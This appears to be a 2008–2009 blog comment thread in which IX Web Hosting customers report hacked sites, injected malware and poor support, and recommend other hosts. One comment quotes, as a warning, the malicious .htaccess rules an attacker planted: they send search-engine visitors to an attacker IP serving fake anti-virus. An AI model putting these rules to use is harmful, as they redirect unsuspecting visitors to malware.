Comments on: IX Web Hosting Hacked

By: Jeff

Jeff — Sat, 24 Oct 2009 22:56:06 +0000

We’ve been using & recommending another host for over 10 years! We’ve since ordered our own VPS from them just a couple years ago. This company is very good. Nothing goes wrong there & if we ask for new technologies or help with installing or running our own open source stuff, they’ve actually helped us FREE every time.

I’m sad to see so many disappointments from ix. I was going to try them for a heavy e-commerce site back in 2000, but so glad I didn’t.

The company is hostforweb. They are not well known, but they are great. It’s the closest thing I’ve seen to my old rackspace account. With rackspace.com being too expensive, I’m even happier that I found this host. If you can, please use my referral link to help me out.

http://billing.hostforweb.com/aff.php?aff=216

By: Vivo

Vivo — Wed, 21 Oct 2009 17:35:33 +0000

I don’t have a lot of experience with them yet, but Host Gator seems to have comparable prices and hosting plans as IX. I’m currently in the process of transferring my sites over to them.

One thing to note about Host Gator is they have a real 99.9% uptime guarantee, and they are actually accredited with the Better Business Bureau (BBB). IX says they are accredited as well, but the BBB website says otherwise. IX also doesn’t respond to BBB complaints, whereas Host Gator actually takes them seriously and tries to address customer complaint issues.

I’ll give Host Gator a try for the next few months. I have a hard time believing it can be much worse than this IX crap.

By: Di

Di — Sun, 18 Oct 2009 03:07:28 +0000

We have been fighting with IX all summer and find outselves chasing around, reloading index’s, changing passwords every time we go into the directories and again when we log out of the directories.

It’s obvious from reading the comments here that we are not alone and it is definitely time to move the site if we want to continue it at all. We’re just a small fan website with no commercial or retail but we do have a phbbb message board for all of us to keep in touch.

Has anyone actually found a stable hosting site that you’re happy with? We’ve been with IX for many years but what was set up as a fun venture just isn’t fun anymore due to this. We need a host that we can rely on NOW. We could sure use some suggestions because we don’t even know where to start.

By: Vivo

Vivo — Thu, 15 Oct 2009 02:11:48 +0000

Just got hacked on IX yesterday, and my 10 sites all started spewing some malware at any visitor coming through Google. I believe the trojan was something called SmitFraud, which would use some nasty script in a PDF file to infect the innocent visitor’s PC and redirect them to some fake anti-virus website in Russia.

I was also hacked last November, but this time around it wasn’t the htaccess hack. Instead, there was some rogue javascript embedded into every page just above the “/html” tag.

I got the usual run-around from IX about changing my password, making it more secure, etc. but this is clearly a problem on IX’s own end.

Terrible! Time to switch…

By: Arnold

Arnold — Wed, 30 Sep 2009 19:52:03 +0000

My site was hacked twice in Sept 2009. Malicious javascript was injected into nearly every html file on my site. The script would load virus-laden files onto anyone who viewed my site, unless they were lucky enough to be protected by a good anti-virus application.

By viewing logs, I determined that my site had been hacked via FTP from hackers in Russia, Turkey, and Ukraine.

IX told me I should install http://ftp.allow and http://ftp.deny files in my root folder and that I should utilize secure FTP connections. They also suggested that maybe a virus was already on my computer that allowed the hackers to acquire my FTP account info, but I know that’s not true.

By: Ben

Ben — Sat, 01 Aug 2009 19:04:47 +0000

I manage my mothers site (or used to since she doesn’t update anymore) and just last month a local visitor told me that the site gave them a virus. Thinking that was incorrect I went to the site myself and sure enough my comptuer went down (about instantly) with a virus that locked out all controls and resulted in my having to format. I contacted IX about the problem and they said that someone probably stole my FTP password, but after reading these posts I’m not sure I can trust that…I guess we’ll see if it happens again

By: Crystal

Crystal — Thu, 04 Jun 2009 01:04:32 +0000

I switched back in January because my sites kept being hacked since August of 08. What a shame they still haven’t corrected it. Thank goodness I switched. My clients were losing money!
IX does suck!

By: James

James — Sun, 31 May 2009 14:30:25 +0000

My website got hacked and replaced with something that spewed out viruses, I have just cancelled my account and switched over my domains to another registrar because I don’t even trust them for that.

By: Calais Tripper

Calais Tripper — Tue, 12 May 2009 06:37:18 +0000

Thanks for this web warning, I’ve cancelled my IX account.

By: Mike D

Mike D — Wed, 29 Apr 2009 20:17:59 +0000

Just got hacked and using ixwebhosting. My content was picked up by google as some other URL that is now dead. I’m switching hosting companies ASAP.

By: Matt

Matt — Fri, 06 Feb 2009 11:16:15 +0000

I too have had my web site hacked. I had several sites with the. One in particular only used static HTML with one contact us form (PHP). We had site monitoring services (HakerSafe). When we called to report that the server was hacked they played it off like it was our fault. What a punch of crap. The form submission only sent email and it was an in-house script that was extremely secure (have a good friend who does computer SA check our coding).

Interesting how other accounts I had what were on the same server were also hacked. Each site was different in nature with different code. No public scripts. The same run around was given for all of them. Changed to a dedicated server, used the same code, and no hacking of my site since.

IX Webhosting blows!

By: supert3d

supert3d — Thu, 22 Jan 2009 21:35:41 +0000

Cautionary tale, there may be other ways of ‘getting in’ to your site. The majority of open source applications on the market (osCommerce, PHPBB, WordPress to name a few ) all use TinyMCE as a WSIWYG editor in the administrative areas of their applications.

A TinyMCE hack allows you to inject encoded PHP script and infect every file on that domain.

I reported it some while ago.
http://techblog.tonycollings.com/?p=39

By: Alex

Alex — Wed, 17 Dec 2008 22:11:47 +0000

Beware for your site being hacked and .htaccess file change to redirect only search engines. Normal users don’t see a difference.

How IX web claim a 99.9% hack free system is beyond me as I see from numerous blogs this is a common problem

My site was hacked and .htaccess changed to

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.205/go.php?s=uu1 [R,L]

As this redirects all search engines to the hackers site
http://89.28.13.205/go.php?s=uu1 (http://uptodate-protection.com) your site will clearly stop featuring in all search engines.

By: Duf

Duf — Sat, 13 Dec 2008 12:14:43 +0000

Those lying motherf’rs. Maybe someone could have clued in their Ukraine based help support personnel of the issues instead of telling them to blame thier customers. Assholes.

http://duf.net/wp/?p=2121